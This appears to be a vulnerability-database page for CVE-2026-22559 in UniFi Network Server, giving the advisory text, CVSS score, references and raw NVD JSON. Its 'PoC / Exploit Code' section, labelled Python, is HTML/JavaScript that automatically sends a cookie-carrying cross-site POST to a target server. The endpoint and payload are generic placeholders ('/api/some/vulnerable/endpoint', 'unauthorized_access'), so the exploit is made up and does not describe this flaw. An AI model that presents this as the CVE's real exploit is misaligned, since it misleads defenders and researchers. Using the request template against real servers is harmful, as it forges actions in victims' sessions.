CVE-2026-22559

Description

An Improper Input Validation vulnerability in UniFi Network Server may allow unauthorized access to an account if the account owner is socially engineered into clicking a malicious link. Affected Products: UniFi Network Server (Version 10.1.85 and earlier) Mitigation: Update UniFi Network Server to Version 10.1.89 or later.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

UniFi Network Server <= 10.1.85

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-22559 -->
<!-- This HTML simulates a malicious link that an attacker sends to a logged-in admin -->
<html>
  <body>
    <script>
      // The target URL of the vulnerable UniFi Network Server
      // Replace TARGET_IP with the actual IP address
      var target = "http://TARGET_IP:8080";
      
      // Payload to exploit the input validation vulnerability
      // This might trigger an unauthorized action (e.g., add user, change settings)
      var payload = "/api/some/vulnerable/endpoint?param=malicious_value";

      function exploit() {
        fetch(target + payload, {
          method: 'POST',
          credentials: 'include', // Send cookies
          headers: {
            'Content-Type': 'application/json'
          },
          body: JSON.stringify({ "action": "unauthorized_access" })
        }).then(response => console.log("Request sent"));
      }

      // Automatically trigger or require a click
      exploit();
    </script>
  </body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-22559
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-22559
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-22559/
[4] VulDB https://vuldb.com/cve/CVE-2026-22559
[5] https://community.ui.com/releases/Security-Advisory-Bulletin-062-062/c29719c0-405e-4d4a-8f26-e343e99f931b

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-22559", "sourceIdentifier": "[email protected]", "published": "2026-03-24T20:16:26.253", "lastModified": "2026-04-30T16:14:21.333", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Improper Input Validation vulnerability in UniFi Network Server may allow unauthorized access to an account if the account owner is socially engineered into clicking a malicious link.\r\n\r\n\r\nAffected Products:\r\nUniFi Network Server (Version 10.1.85 and earlier) \r\n\r\n\r\nMitigation:\r\nUpdate UniFi Network Server to Version 10.1.89 or later."}, {"lang": "es", "value": "Una vulnerabilidad de validación de entrada incorrecta en UniFi Network Server puede permitir el acceso no autorizado a una cuenta si el propietario de la cuenta es víctima de ingeniería social para hacer clic en un enlace malicioso.\n\nProductos afectados:\nUniFi Network Server (Versión 10.1.85 y anteriores)\n\nMitigación:\nActualice UniFi Network Server a la Versión 10.1.89 o posterior."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "references": [{"url": "https://community.ui.com/releases/Security-Advisory-Bulletin-062-062/c29719c0-405e-4d4a-8f26-e343e99f931b", "source": "[email protected]"}]}}